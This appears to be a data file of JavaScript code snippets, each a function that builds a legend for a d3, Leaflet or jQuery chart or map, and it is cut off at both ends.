this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function legend(lD){\n var leg = {};\n\n // create table for legend.\n var legend = d3.select(id).append(\"table\").attr('class','legend');\n\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n\n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\",function(d){ return segColor(d.type); });\n\n // create the second column for each segment.\n tr.append(\"td\").text(function(d){ return d.type;});\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\",'legendFreq')\n .text(function(d){ return d3.format(\",\")(d.freq);});\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\",'legendPerc')\n .text(function(d){ return getLegend(d,lD);});\n\n // Utility function to be used to update the legend.\n leg.update = function(nD){\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d){ return d3.format(\",\")(d.freq);});\n\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d){ return getLegend(d,nD);});\n }\n\n function getLegend(d,aD){ // Utility function to compute percentage.\n return d3.format(\"%\")(d.freq/d3.sum(aD.map(function(v){ return v.freq; })));\n }\n\n return leg;\n }", "function loadLegend(){\r\n // add location legend \r\n \tvar item = document.createElement('div'); \r\n \tvar value = document.createElement('span');\r\n \tvalue.innerHTML = \"<strong>Homeless Resources</strong>\";\r\n \titem.appendChild(value);\r\n \tvar legend = document.getElementById(\"legend\");\r\n \tlegend.appendChild(item);\r\n \r\n var layers = [\" Food Bank\", \" Homeless Shelters\"];\r\n var images = [\"./data/food_icon.png\", \"./data/shelter_icon.png\"];\r\n for (var i = 0; i < layers.length; i++) {\r\n var layer = layers[i];\r\n var thisItem = document.createElement('div');\r\n var thisKey = document.createElement('span');\r\n var myImage = document.createElement('img');\r\n myImage.src = images[i];\r\n myImage.style.height = \"17px\";\r\n myImage.style.width = \"17px\";\r\n thisKey.appendChild(myImage); \r\n thisKey.className = 'legend-key';\r\n var thisValue = document.createElement('span');\r\n thisValue.innerHTML = layer;\r\n thisValue.style.margin = \"0 0 10px 3px\";\r\n\r\n thisItem.appendChild(thisKey);\r\n thisItem.appendChild(thisValue);\r\n legend.appendChild(thisItem);\r\n }\r\n\r\n \r\n \tvar item = document.createElement('div'); \r\n \tvar value = document.createElement('span');\r\n \tvalue.innerHTML = \"<br><strong>Population Density</strong>\";\r\n \titem.appendChild(value);\r\n \tlegend.appendChild(item);\r\n \r\n \t// add population density legend \r\n \tvar pop_density = ['2355/mi', '3922/mi', '5388/mi', '8676/mi', '53437/mi'];\r\n \tvar pop_colors = ['#FFEDA0', '#FED976', '#FEB24C', '#FD8D3C', '#E31A1C'];\r\n \tfor (var i = 0; i < pop_density.length; i++) {\r\n var pop_d = pop_density[i];\r\n var pop_c = pop_colors[i];\r\n var item = document.createElement('div');\r\n var key = document.createElement('span');\r\n key.className = 'legend-pop';\r\n key.style.backgroundColor = pop_c;\r\n var value = document.createElement('span');\r\n value.innerHTML = pop_d;\r\n item.appendChild(key);\r\n item.appendChild(value);\r\n legend.appendChild(item);\r\n \t}\r\n }", "function mapLegend() {\n let legend = L.control({position: 'bottomright'});\n\n legend.onAdd = function(map) {\n\n var div = L.DomUtil.create('div', 'info legend');\n var mags = [0, 1, 2, 3, 4, 5];\n\n // loop through our density intervals and generate a label with a colored square for each interval\n for (var i = 0; i < mags.length; i++) {\n div.innerHTML +=\n '<i style=\"background:' + getColor(mags[i]) + '\"></i> ' +\n mags[i] + (mags[i + 1] ? '&ndash;' + mags[i + 1] + '<br>' : '+');\n }\n\n return div;\n };\n return legend;\n}", "function legend_color(svg, x_pos, y_pos, width, color, title) {\n\n // creates element for legend\n svg.append('g')\n .attr('class', 'legendLinear')\n .attr('transform', 'translate(' + x_pos + ', ' + y_pos + ')');\n\n // legend information\n let legendLinear = d3.legendColor()\n .shapeWidth(width)\n .orient('horizontal')\n .scale(color)\n .title('Life Satisfaction Rating');\n\n // creates the legend\n svg.select('.legendLinear')\n .call(legendLinear);\n}", "function legend(lD){\n var leg = {};\n \n // create table for legend.\n var legend = d3.select(\"body\").append(\"table\").attr('class','legend');\n \n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n \n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\",function(d){ return segColor(d.type); });\n \n // create the second column for each segment.\n tr.append(\"td\").text(function(d){ return d.type;});\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\",'legendFreq')\n .text(function(d){ return d3.format(\",\")(d.freq);});\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\",'legendPerc')\n .text(function(d){ return getLegend(d,lD);});\n\n // Utility function to be used to update the legend.\n leg.update = function(nD){\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").transition().duration(500).text(function(d){ return d3.format(\",\")(d.freq);});\n\n // update the percentage column.\n l.select(\".legendPerc\").transition().duration(500).text(function(d){ return getLegend(d,nD);}); \n }\n \n function getLegend(d,aD){ // Utility function to compute percentage.\n return d3.format(\"%\")(d.freq/d3.sum(aD.map(function(v){ return v.freq; })));\n }\n\n return leg;\n }", "function legend(lD) {\n var leg = {};\n\n // create table for legend.\n var legend = d3.select(id).append(\"table\").attr('class', 'legend');\n\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n\n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\", function(d) {\n return segColor(d.type);\n });\n\n // create the second column for each segment.\n tr.append(\"td\").text(function(d) {\n return d.type;\n });\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendFreq')\n .text(function(d) {\n return d3.format(\",\")(d.freq);\n });\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendPerc')\n .text(function(d) {\n return getLegend(d, lD);\n });\n\n // Utility function to be used to update the legend.\n leg.update = function(nD) {\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d) {\n return d3.format(\",\")(d.freq);\n });\n\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d) {\n return getLegend(d, nD);\n });\n }\n\n function getLegend(d, aD) { // Utility function to compute percentage.\n return d3.format(\"%\")(d.freq / d3.sum(aD.map(function(v) {\n return v.freq;\n })));\n }\n\n return leg;\n }", "function ycolorLegend() {\n\n // stroke\n const s = d3.scaleOrdinal()\n .domain(yLabel)\n .range([\"#e31a1c\",\"#1f78b4\"]);\n\n console.log(\"I'm trying to show the legend\", s.domain())\n\n group = d3.select('svg').append(\"g\")\n .attr(\"class\",\"legend-group\");\n\n var label = getResult()\n console.log(\"LABELS\", label)\n\n group.append(\"text\")\n .text(label[1])\n .attr('x', function(d){ return (origin[0]+400) + 'px'})\n .attr('y', function(d){ return (159) + 'px' })\n .style(\"font-weight\",\"bold\")\n .style(\"text-transform\", \"capitalize\")\n .style(\"text-anchor\",\"end\");\n\n var legend = group.selectAll(\".legend\")\n .data(s.domain())\n .enter().append(\"g\")\n .attr(\"class\",\"legend\")\n .attr(\"transform\",function(d,i) {\n return \"translate(0,\" + i * 20 + \")\";\n });\n\n legend.append(\"rect\")\n .attr('x', function(d){ return (origin[0]+400) + 'px'})\n .attr('y', function(d){ return (165) + 'px' })\n .attr(\"width\",18)\n .attr(\"height\",18)\n .style(\"fill\", function (d) { return color(d)});\n\n legend.append(\"text\")\n .attr('x', function(d){ return (origin[0]+400) + 'px'})\n .attr('y', function(d){ return (173) + 'px' })\n .attr(\"dy\",\".35em\")\n .style(\"text-anchor\",\"end\")\n .text(function(d) { return d; });\n }", "_addLegend(svg, color, options) {\n const { legendHeight, legendWidth, legendGap, data } = this;\n const { valueProp } = options;\n const legend = svg.selectAll('.legend') // selecting elements with class 'legend'\n .data(data)\n .enter()\n .append('g')\n .attr('class', 'legend') // each g is given a legend class\n .attr('transform', function(d, i) {\n const height = legendHeight + legendGap;\n const offset = height * data.length / 2;\n const horz = 38 * legendWidth;\n const vert = (i * height) - offset + 10;\n return `translate(${ horz },${ vert })`;\n });\n\n legend.append('rect')\n .attr('width', legendWidth)\n .attr('height', legendHeight)\n .style('fill', (d, i) => color[i]);\n\n legend.append('text')\n .attr('class', 'legend-name')\n .attr('x', legendWidth + 8)\n .attr('y', legendGap / 2)\n .text((d) => d.name);\n\n legend.append('text')\n .attr('class', 'legend-count')\n .attr('x', legendWidth + 8)\n .attr('y', legendGap / 2 + 20)\n .text((d) => d[valueProp]);\n }", "function Legend() {\n return this;\n}", "get legend() {\n if (this.i.legend != null)\n return this.i.legend.externalObject;\n }", "function makeLegend() {\n let legend = L.control({position: 'bottomright'});\n\n legend.onAdd = function(map) {\n\n let div = L.DomUtil.create('div', 'info legend');\n let grades = [0, 1, 2, 3, 4, 5];\n\n // loop through our density intervals and generate a label with a colored square for each interval\n for (var i = 0; i < grades.length; i++) {\n div.innerHTML +=\n '<i style=\"background:' + getColor(grades[i]) + '\"></i> ' +\n grades[i] + (grades[i + 1] ? '&ndash;' + grades[i + 1] + '<br>' : '+');\n }\n\n return div;\n };\n\n return legend;\n}", "makeLegend ( ) {\n const categories = this.treeLeaves\n .map( leaf => leaf.data.category )\n .filter( ( cat, i, obj ) => obj.indexOf( cat ) === i );\n const WIDTH = this.chartWidth;\n const HEIGHT = this.canvasHeight;\n const TILE_SIZE = 10;\n const TILE_OFFSET = 120;\n const Y_SPACE = 10;\n const COLUMNS = Math.floor( WIDTH / TILE_OFFSET );\n\n const legend = this.canvas\n .append( 'g' )\n .attr( 'id', 'legend' )\n .attr( 'transform', 'translate( 20, 10 )' )\n .selectAll( 'g' )\n .data( categories )\n .enter( )\n .append( 'g' )\n .attr( 'transform', ( d, i ) => \n `translate(\n ${ ( i % COLUMNS ) * TILE_OFFSET },\n ${ HEIGHT + Math.floor( i / COLUMNS ) * TILE_SIZE + Y_SPACE * Math.floor( i / COLUMNS ) } \n )` );\n \n legend.append( 'rect' )\n .attr( 'width' , TILE_SIZE )\n .attr( 'height' , TILE_SIZE )\n .attr( 'class' , 'legend-item' )\n .attr( 'fill' , d => this.colorScale( d ) );\n \n legend.append(\"text\")\n .attr( 'class', 'legend-text')\n .attr( 'x' , TILE_SIZE + 5 )\n .attr( 'y' , TILE_SIZE )\n .text( d => d );\n\n return this;\n }", "function legend(lD){\n var leg = {};\n // create table for legend.\n var legend = d3.select(id).append(\"table\").attr('class','legend');\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n\t\t\t.attr(\"fill\",function(d){ return segColor(d.type); });\n // create the second column for each segment.\n tr.append(\"td\").text(function(d){ return d.type;});\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\",'legendFreq')\n .text(function(d){ return d3.format(\",\")(d.freq);});\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\",'legendPerc')\n .text(function(d){ return getLegend(d,lD);});\n // Utility function to be used to update the legend.\n leg.update = function(nD){\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d){ return d3.format(\",\")(d.freq);});\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d){ return getLegend(d,nD);}); \n }\n function getLegend(d,aD){ // Utility function to compute percentage.\n return d3.format(\"%\")(d.freq/d3.sum(aD.map(function(v){ return v.freq; })));\n }\n return leg;\n }", "function legend(){\r\n var legend = L.control({position: is_mobile ? 'topleft' : 'topright'});\r\n\r\n legend.onAdd = function (map) {\r\n\r\n var div = L.DomUtil.create('div', 'infos legend'),\r\n grades = [\"Buona\", \"Discreta\", \"Mediocre\", \"Scadente\", \"Pessima\"];\r\n\r\n div.innerHTML = is_mobile ? \"\" : \"<p style='margin-top: 0;'><strong>Qualit\" + \"&agrave;\" +\" dell'aria</strong></p>\";\r\n for (var i = 0; i < grades.length; i++) {\r\n div.innerHTML += (is_mobile ?\r\n \"<img style='position: relative; top: -4px;' src=\" + markerPath[i] + \" width='12px' height='20px' align='middle'> \" + grades[i] + \"<br>\"\r\n :\r\n \"<p style='margin-top: 0;\" + ((i == grades.length-1) ? \"margin-bottom: 0px;\" : \"margin-bottom: 6px;\") +\"'><img style='position: relative; top: -4px;' src=\" + markerPath[i] + \" width='15px' height='25px' align='middle'>\" + grades[i] + \"</p>\" ) ;\r\n }\r\n return div;\r\n };\r\n\r\n legend.addTo(map1);\r\n}", "function legend(lD){\n var leg = {};\n // create table for legend.\n var legend = d3.select(id).append(\"table\").attr('class','legend').attr(\"id\",\"table\");\n\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n\n // create the first column for each segment.\n tr.append(\"td\")\n .append(\"svg\")\n .attr(\"width\", '16')\n .attr(\"height\", '16')\n .append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\",function(d){ return segColor(d.type); });\n\n // create the second column for each segment.\n tr.append(\"td\").text(function(d){ return d.type;});\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\",'legendFreq')\n .text(function(d){ return d3.format(\",\")(d.freq);});\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\",'legendPerc')\n .text(function(d){ return getLegend(d,lD);});\n\n // Utility function to be used to update the legend.\n leg.update = function(nD){\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d){ return d3.format(\",\")(d.freq);});\n\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d){ return getLegend(d,nD);});\n }\n\n function getLegend(d,aD){ // Utility function to compute percentage.\n return d3.format(\",.1%\")(d.freq/d3.sum(aD.map(function(v){\n if(isNaN(v.freq)){\n return 0;\n }else{\n return v.freq;\n }\n })));\n }\n\n return leg;\n }", "displayLegend() {\n let colorChangeCounter = -1;\n const marginYChange = margin.top;\n const marginYChangeText = margin.top+10;\n let marginYMultiplier = -1;\n\n return this.state.cases.map( help => {\n colorChangeCounter++;\n marginYMultiplier++;\n return (<g><rect x={margin.left+25} y={marginYChange+(marginYMultiplier*15)} width=\"10\" height=\"10\" fill={this.state.color(colorChangeCounter)}></rect>\n <text y={marginYChangeText+(marginYMultiplier*15)} x={margin.left+36}>{this.state.counties[marginYMultiplier]}</text></g>);\n marginYChange+=10;\n });\n }", "function Pca_Legend(svg){\n svg.append(\"circle\").attr(\"cy\",300).attr(\"cx\",-12).attr(\"r\", 10).style(\"fill\", \"#969696\");\n svg.append(\"circle\").attr(\"cy\",300).attr(\"cx\",80).attr(\"r\", 10).style(\"fill\", \"#525252\");\n svg.append(\"circle\").attr(\"cy\",300).attr(\"cx\",185).attr(\"r\", 10).style(\"fill\", \"black\");\n svg.append(\"text\").attr(\"y\", 305).attr(\"x\",10).text(\"Low Risk\").style(\"font-size\", \"10px\");\n svg.append(\"text\").attr(\"y\", 305).attr(\"x\",100).text(\"Medium Risk\").style(\"font-size\", \"10px\");\n svg.append(\"text\").attr(\"y\", 305).attr(\"x\",205).text(\"High Risk *\").style(\"font-size\", \"10px\");\n svg.append(\"text\").attr(\"y\",330).attr(\"x\",-20).text(\"* Risk that a healthy person may contract SARS-CoV-2\").style(\"font-size\",\"10px\");\n}", "function legendChart(){\n // Color Scale\n var cScale = d3.scale.category20();\n\n // Charting function\n function chart(selection){\n // Select the container element and set its attributes\n var containerDiv = d3.select(this)\n .style('width', width + 'px');\n\n // Add the label 'Legend' on enter\n containerDiv.selectAll('p.legent-title')\n .data([data])\n .enter().append('p')\n .attr('class', 'legend-title')\n .text('Legend');\n\n // Add a div for each data item\n var itemDiv = containerDiv.selectAll('div.item')\n .data(data)\n .enter().append('div')\n .attr('class', 'item');\n\n itemP.append('span').text('..')\n .style('color', cScale)\n .style('background', cScale);\n\n }\n\n // Color Scale Accessor\n chart.colorScale = function(value){\n if(!arguments.length){ return cScale; }\n cScale = value;\n return chart;\n };\n\n return chart;\n}", "function makeLegend(svg) {\n var xStartPos = -15;\n var yStartPos = 10;\n var yChange = 15;\n var boxDim = 10;\n var textPadding = 15;\n\n\n // make a new 'legend' element in the SVG\n // each element in the legend will be 12 pixels below the previous one\n var legend = svg.selectAll('legend')\n .data(myNS.colorScale.domain())\n .enter().append('g')\n .attr('class', 'legend')\n .attr('transform', function(d,i){\n return 'translate(' + xStartPos + ',' + ((i * yChange) + yStartPos) + ')';\n });\n\n // rects for the legend\n // boxDim x boxDim boxes, on the left side of the legend\n legend.append('rect')\n .attr('x', myNS.padding)\n .attr('width', boxDim)\n .attr('height', boxDim)\n .attr('stroke', 'black')\n .style('fill', myNS.colorScale);\n\n // text for the legend elements\n // to the right of the boxes, y is the baseline for the text\n legend.append('text')\n .attr(\"class\", \"legendText\")\n .attr('x', myNS.padding + textPadding)\n .attr('y', yStartPos)\n .text(function(d){ \n if (d == 0) {\n return (\"Bottom third of \" + myNS.xData); \n }\n if (d == 1) {\n return (\"Middle third of \" + myNS.xData);\n }\n else\n return (\"Top third of \" + myNS.xData);\n })\n .style(\"font-size\", \"12px\");\n\n}//end makeLegend", "function drawColorLegend(svg, study_types) {\n\n//console.log(study_types);\n\nvar xx = 30;\nvar y1 = 10;\nsvg.selectAll(\".arcLegend\").data(typeList).enter()\n.append(\"path\")\n .attr(\"class\", \"arcLegend\")\n .style(\"fill-opacity\", 0)\n .style(\"stroke-width\", 2)\n .style(\"stroke\", function (d) {\n return getColor(d);\n })\n .attr(\"d\", function(l,i){\n var yy = y1+14*i-10;\n var rr = 5.6;\n return \"M\" + xx + \",\" + yy + \"A\" + rr + \",\" + rr*1.25 + \" 0 0,1 \" + xx + \",\" + (yy+rr*2);\n });\nsvg.selectAll(\".textLegend\").data(typeList).enter()\n .append(\"text\")\n .attr(\"class\", \"textLegend\")\n .attr(\"x\", xx+8)\n .attr(\"y\", function(l,i){\n return y1+14*i;\n })\n .text(function (d) {\n return d;\n })\n .attr(\"font-family\", \"sans-serif\")\n .attr(\"font-size\", \"12px\")\n .style(\"text-anchor\", \"left\")\n .style(\"fill\", function (d) {\n return getColor(d);\n });\n}", "function mainLegend() {\n\t\t\t// var ldata = data.filter(function(i) {return REGIONS[i.name].selected});\n\t\t\tldata = data;\n\t\t\tLegend(ldata, null,\n\t\t\t\tfunction(i){\n\t\t\t\t\tprovinceHoverIn(shapes.selectAll(\".circle\")[0][i]);\n\t\t\t\t}, function(i) {\n\t\t\t\t\tprovinceHoverOut(shapes.selectAll(\".circle\")[0][i]);\n\t\t\t\t}, function(i) {\n\t\t\t\t\tprovinceClick(shapes.selectAll(\".circle\")[0][i]);\n\t\t\t\t});\t\n\t\t}", "function displayLegend (data, options) {\n if ( data[0].length !== 0) {\n var legend = $(\"<div></div>\").attr(\"id\",\"legend\");\n $(\"#chartcontainer\").append(legend);\n $(\"#legend\").css({\n \"float\": \"right\",\n \"display\": \"flex\",\n \"justify-content\": \"space-around\",\n \"height\": \"20%\",\n \"width\": \"40%\"\n });\n\n for ( var i = 0; i < options.legend.length; i++) {\n var color = $(\"<div></div\").attr({\n \"class\": \"colorbox\",\n \"id\": \"color\" + i\n });\n color.css(\"background-color\", options.barcolour[i]);\n $(\"#legend\").append(color);\n var legendName = ($(\"<div></div>\").text(options.legend[i]));\n legendName.attr(\"class\",\"legendname\");\n $(\"#legend\").append(legendName);\n }\n\n $(\".colorbox, .legendname\").css({\n \"height\": \"10%\",\n \"width\": \"10%\",\n \"padding\": \"2%\"\n });\n\n}\n\n}", "async setLegend(_) {\n if (!arguments.length)\n return this._nodeEdgeLegend;\n this._nodeEdgeLegend = _;\n }", "function addLegend() {\n // Create a legend for the map\n var legend = L.control({ position: 'bottomleft' });\n // Legend will be called once map is displayed\n legend.onAdd = function () {\n\n var div = L.DomUtil.create('div', 'info legend');\n\n var legendInfo = \"<p>GDP per capita (Int$)</p>\";\n\n div.innerHTML = legendInfo;\n\n // setup the depth \n var limits = [0, 2000, 5000, 10000, 20000, 35000, 50000];\n // Loop through our magnitude intervals and generate a label with a colored square for each interval\n for (var i = 0; i < limits.length; i++) {\n var newHtml = `<i style=\"background: ${getColorValue(limits[i])}\"></i>`;\n newHtml += limits[i] + (limits[i + 1] ? '&ndash;' + limits[i + 1] + '<br>' : '+');\n div.innerHTML += newHtml;\n }\n\n return div;\n };\n // Add the legend to the map\n return legend;\n}", "function errback(error) {\n console.error(\"Creating legend failed. \", error);\n }", "function createLegend(myChart, myChartId) {\n\tvar num = myChart.measures.length;\n\tvar divRef, element, row, colorBox, measureName; \n\n\t//Add title\n\tdivRef = document.getElementById('chartTitle');\n\telement = document.createElement('h5');\n\telement.setAttribute('class', 'form-signin-heading');\n\telement.innerHTML = 'Chart ' + (myChartId+1).toString() + ': ' + preRenderedCharts[myChartId].title;\n\telement.setAttribute('style', 'text-align: center');\n\tdivRef.appendChild(element);\n\t\n\t//Add legend\n\tdivRef = document.getElementById('legendModal');\n\telement = document.createElement('div');\n\telement.id = 'newLegend';\n\tdivRef.appendChild(element);\n\t\n\tfor (var i=0; i<num; i++) {\n\t\t//Create a new row\n\t\tdivRef = document.getElementById('newLegend');\n\t\trow = document.createElement('div');\n\t\trow.setAttribute('class', 'row');\n\t\tdivRef.appendChild(row);\n\t\t\n\t\t//Add color box to row\n\t\tdivRef = row;\n\t\telement = document.createElement('div');\n\t\telement.setAttribute('class', 'col-md-1 col-sm-1 col-xs-2');\n\t\telement.setAttribute('style', 'margin-top: 2px');\n\t\tdivRef.appendChild(element);\n\t\t\n\t\tdivRef = element;\n\t\tcolorBox = document.createElement('button');\t\n\t\tcolorBox.setAttribute('type', 'button');\n\t\tcolorBox.setAttribute('class', 'btn btn-md');\n\t\tcolorBox.setAttribute('style', 'background-color: '+colorPal[i].fillColor);\n\t\tdivRef.appendChild(colorBox);\n\t\t\n\t\t//Add the measure for the color\n\t\tdivRef = row;\n\t\telement = document.createElement('div');\n\t\telement.setAttribute('class', 'col-md-11 col-sm-11 col-xs-16');\n\t\tdivRef.appendChild(element);\n\t\t\t\t\t\t\n\t\tdivRef = element;\n\t\tmeasureName = document.createElement('label');\t\n\t\tmeasureName.innerHTML = parseClass(myChart.measures[i]);\n\t\tdivRef.appendChild(measureName);\n\t}\n\t\n\t//CSS on legend\n\tdocument.getElementById('newLegend').style.margin = '5%';\n}", "legendSolid(x,y){\n if(this.legend[this.getChar(Math.floor(x/this.sqsize),Math.floor(y/this.sqsize))] != undefined){\n return(this.legend[this.getChar(Math.floor(x/this.sqsize),Math.floor(y/this.sqsize))].solid);\n }\n else{\n return(1);\n }\n }", "function legend(lD) {\n var leg = {};\n\n // create table for legend.\n var legend = d3.select(\"#bottom\").append(\"table\").attr('class', 'legend');\n\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n\n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\", function (d) { return segColor(d.type); });\n\n // create the second column for each segment.\n tr.append(\"td\").text(function (d) { return d.type; });\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendFreq')\n .text(function (d) { return d3.format(\",\")(d.ctys_sum); });\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendPerc')\n .text(function (d) { return getLegend(d, lD); });\n\n // Utility function to be used to update the legend.\n leg.update = function (nD) {\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").text(function (d) { return d3.format(\",\")(d.ctys_sum); });\n\n // update the percentage column.\n l.select(\".legendPerc\").text(function (d) { return getLegend(d, nD); });\n }\n\n function getLegend(d, aD) { // Utility function to compute percentage.\n return d3.format(\"%\")(d.ctys_sum / d3.sum(aD.map(function (v) { return v.ctys_sum; })));\n }\n\n return leg;\n }", "function updateLegend(map, attribute){\r\n //create content for legend\r\n var year = attribute.substring(1,5);\r\n var content = \"Number of U.S. Bound Emigrants in \" + year;\r\n\r\n //replace legend content\r\n $('#temporal-legend').html(content);\r\n \r\n //get the max, mean, and min values as an object\r\n var circleValues = getCircleValues(map, attribute);\r\n \r\n for (var key in circleValues){\r\n //get the radius\r\n var radius = calcPropRadius(circleValues[key]);\r\n\r\n //Step 3: assign the cy and r attributes\r\n $('#'+key).attr({\r\n cy: 70 - radius,\r\n cx: 25,\r\n r: radius\r\n });\r\n //Step 4: add legend text\r\n $('#'+key+'-text').text(Math.round(circleValues[key]*100)/100);\r\n };\r\n \r\n \r\n \r\n}", "function interactiveLegend(bar, points) {\n bar.on(\"mousemove\", function(d) {\n draw(d, 0.05, points)\n }).on(\"mouseout\", function(d) {\n draw(d, 1, points)\n })\n\n function draw(d, opacity, points) {\n\n // erase what is on the canvas currently\n ctx.clearRect(0, 0, width, height);\n\n // draw each point as a rectangle\n for (let i = 0; i < points.length; ++i) {\n const point = points[i];\n ctx.fillStyle = point.color;\n ctx.beginPath();\n ctx.moveTo(point.x + point.r, point.y);\n ctx.arc(point.x, point.y, point.r, 0, 2 * Math.PI);\n ctx.fill();\n ctx.globalAlpha = point.category == d[0] ? 1 : opacity\n }\n\n ctx.restore();\n }\n\n }", "function glyphDlegend(d) {\n\n\tvar x1 = padding.left;\n\tvar y1 = yScaleGlyph(d);\n\n\tvar smallMinus = \"M 3 5 L 7 5 \";\t\n\tvar largeMinus = \"M 1 5 L 9 5 \";\n\tvar plus = \"M 1 5 L 9 5 M 5 1 L 5 9\";\n\tvar halfStar = \"M 1 5 L 9 5 M 5 1 L 5 9 M 9 1 L 1 9\";\n\tvar fullStar = \"M 1 5 L 9 5 M 5 1 L 5 9 M 9 1 L 1 9 M 1 1 L 9 9\";\n\tconsole.log(\"d =\", d);\n\n\tif(d===4 || d===5){\n\t\tconsole.log(\"d = \", d, x1, y1)\n\t\treturn (\"M \" + (x1+3) + \" \" + (y1+5) + \" L \" + (x1+7) + \" \" + (y1+5)\n\t\t\t\t\t\t);\n\t} else if (d===3 || d===6){\n\t\tconsole.log(\"d = \", d, x1, y1)\n\t\treturn (\"M \" + (x1+1) + \" \" + (y1+5) + \" L \" + (x1+9) + \" \" + (y1+5)\n\t\t\t\t\t\t);\n\t} else if (d===2 || d===7){\n\t\tconsole.log(\"d = \", d, x1, y1)\n\t\treturn (\"M \" + (x1+1) + \" \" + (y1+5) + \" L \" + (x1+9) + \" \" + (y1+5)\n\t\t\t\t\t\t+ \" M \" + (x1+5) + \" \" + (y1+1) + \" L \" + (x1+5) + \" \" + (y1+9)\n\t\t\t\t\t\t);\n\t\t//return plus;\n\t} else if (d===1 || d===8){\n\t\tconsole.log(\"d = \", d, x1, y1)\n\t\treturn (\"M \" + (x1+1) + \" \" + (y1+5) + \" L \" + (x1+9) + \" \" + (y1+5)\n\t\t\t\t\t\t+ \" M \" + (x1+5) + \" \" + (y1+1) + \" L \" + (x1+5) + \" \" + (y1+9)\n\t\t\t\t\t\t+ \" M \" + (x1+9) + \" \" + (y1+1) + \" L \" + (x1+1) + \" \" + (y1+9)\n\t\t\t\t\t\t);\n\t} else if (d===0 || d===9){\n\t\tconsole.log(\"d = \", d, x1, y1)\n\t\treturn (\"M \" + (x1+1) + \" \" + (y1+5) + \" L \" + (x1+9) + \" \" + (y1+5)\n\t\t\t\t\t\t+ \" M \" + (x1+5) + \" \" + (y1+1) + \" L \" + (x1+5) + \" \" + (y1+9)\n\t\t\t\t\t\t+ \" M \" + (x1+9) + \" \" + (y1+1) + \" L \" + (x1+1) + \" \" + (y1+9)\n\t\t\t\t\t\t+ \" M \" + (x1+1) + \" \" + (y1+1) + \" L \" + (x1+9) + \" \" + (y1+9)\n\t\t\t\t\t\t);\n\t}\n}", "function displayColorLegend(type){\n\tvar power_color_data = [{color:\"#11064F\",label:\"0dB\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#1FF0D1\",label:\"13dB\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#FFF700\",label:\"27dB\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#FF0505\",label:\"40dB\"}\n\t\t\t\t\t\t\t\t\t\t];\n\n\tvar width_color_data = [{color:\"#11064F\",label:\"0m/s\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#1FF0D1\",label:\"67m/s\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#FFF700\",label:\"133m/s\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#FF0505\",label:\"200m/s\"}\n\t\t\t\t\t\t\t\t\t\t];\n\n\tvar elevation_color_data = 